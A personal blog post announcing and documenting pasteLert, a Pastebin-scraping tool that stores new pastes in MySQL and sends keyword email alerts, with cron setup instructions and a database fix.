Explanation:

Truncate automatically resets the auto-incrementing IDs so that when the table was truncated pastes started from ID 0 again, which when checked against what the last ID sent to the user was obviously lower. Sorry for the headache, to fix it, apply the above then run:

update alerts set LastID = 0;

Mah bad,
-AM

Archive for pasteLert

So i finally got round to putting the source together and writing this out. We’ve been really busy with Blackhat training at work and so on and i’m generally just lazy. Also releasing now mostly because the mysql database on my linode keeps crashing, its just too small a box to keep *all* pastebin entries. The code is messy, so expect arb/no commenting but its pretty straight forward, feel free to shoot through any questions you have. Also i messaged pastebin to see if they’d implement something like this or let me do it, but i didnt get any responses to any of the messages :(

Anyway, here is the basic rundown:

• Setup your mysql, create a database ‘pastebin’ – Google will give you this info :D
• Drop the structure in, its in the archive as pastebinStructure.sql. mysql -u root -p pastebin < pastebinStructure.sql
• Extract the archive to its own directory in your webroot, preferably ‘pasteLert’ :)
• Change the setdb.php file to your mysql details. Edit alerts.php to include your email and location information rather than mine
• Setup the crons as below

Crons:

Basically there are 4 cron jobs that you need to add:

• pullPastebin.php – this will go to http://www.pastebin.com/archive.php and get the pasteIDs and add them to `pastebin`.`pastebin`, I generally run this every 2 minutes and my cron looks like this:
  • */2 * * * * php /var/www/html/andrewmohawk.com/pasteLert/pullPastebin.php
• pullPastes.php – this script then goes and pulls each paste with a random delay between 0-5 seconds (see line 14 if you want to change that). I generally let this run every 10 minutes and looks as follows:
  • */10 * * * * php /var/www/html/andrewmohawk.com/pasteLert/pullPastes.php
• sendAlerts.php – this script sends out the alerts via email, this is really up to you, obviously as close to 10 minutes means its as close to when you have the data, mines at 15 mins:
  • */15 * * * * php /var/www/html/andrewmohawk.com/pasteLert/sendAlerts.php

Cron Part 2!
So the reason my box was falling over was that every day i’d push all the pastebin’s from that day into another table (pastebinOldData). Essentially i have now changed mine to stop doing this and rather truncated the daily log instead of saving the data.  You however hopefully have a bigger box and can store all the data, or you can always just truncate the data, so you need to pick one of the two files, either truncPastes.php or rotatePastes.php.

Truncate:
0 1 * * * php /var/www/html/andrewmohawk.com/pasteLert/truncPastes.php

Rotate:
0 1 * * * php /var/www/html/andrewmohawk.com/pasteLert/rotatePastes.php

I think that pretty much covers it, feel free to mail in what you are looking for if you need any help.

Kthnx,
Andrew

Hey guys,

So here is my latest project, extending from the previous pasteScraper to do something a little different with the pastebins. Essentially i recreated google alerts but with a bit more searchiness (yes, i make up words now too).

How it Works

• I enumerate all new pastes from http://www.pastebin.com/archive/ every minute and add them to a ‘download’ queue.
• New pastes are then downloaded to a local database
• Alerts are periodically cron’d
• Search functionality is via a fulltext search of pastes

What does it give me?

• The ability to search for *anything* on pastebin.com
• Semi-realtime searches
• Email alerts when your term is hit!
• RSS feeds for searches
• The ability to search with AND keywords in pastebins

How it is all going to fall apart

I dont really see this as a long term project, merely something that shows a PoC for how much stuff is leaking out via PasteBin.com and how cool it really is. Some issues i see that may happen with this:

• People will switch to more secure pastebins that don’t allow indexing, don’t have archive pages and arent indexed by search engines
• My small linode will fall to pieces because the fulltext like queries are painfull
• Pastebin.com will not be impressed with me doing this and start blocking it

Linkage

http://andrewmohawk.com/pasteLert/, feel free to play/comment/etc :)

-AM

p.s. Thanks to Chris Hadnagy and Roelof Temmingh :D